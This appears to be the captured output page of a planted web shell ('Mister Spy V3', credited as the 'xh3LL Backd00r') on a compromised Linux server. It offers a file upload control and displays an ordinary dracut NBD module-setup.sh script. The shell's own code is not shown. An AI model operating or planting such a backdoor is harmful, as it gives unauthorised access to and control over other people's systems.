Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /lib/dracut/modules.d/95nbd/
Upload File :
Current File : //lib/dracut/modules.d/95nbd/module-setup.sh

#!/usr/bin/bash

# called by dracut
check() {
    local _rootdev

    # if an nbd device is not somewhere in the chain of devices root is
    # mounted on, fail the hostonly check.
    [[ $hostonly ]] || [[ $mount_needs ]] && {
        _rootdev=$(find_root_block_device)
        [[ -b /dev/block/$_rootdev ]] || return 1
        check_block_and_slaves block_is_nbd "$_rootdev" || return 255
    }
    require_binaries nbd-client || return 1

    return 0
}

# called by dracut
depends() {
    # We depend on network modules being loaded
    echo network rootfs-block
}

# called by dracut
installkernel() {
    instmods nbd
}

# called by dracut
install() {
    inst nbd-client
    inst_hook cmdline 90 "$moddir/parse-nbdroot.sh"
    inst_script "$moddir/nbdroot.sh" "/sbin/nbdroot"
    if dracut_module_included "systemd-initrd"; then
        inst_script "$moddir/nbd-generator.sh" "$systemdutildir"/system-generators/dracut-nbd-generator
    fi
    dracut_need_initqueue
}

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat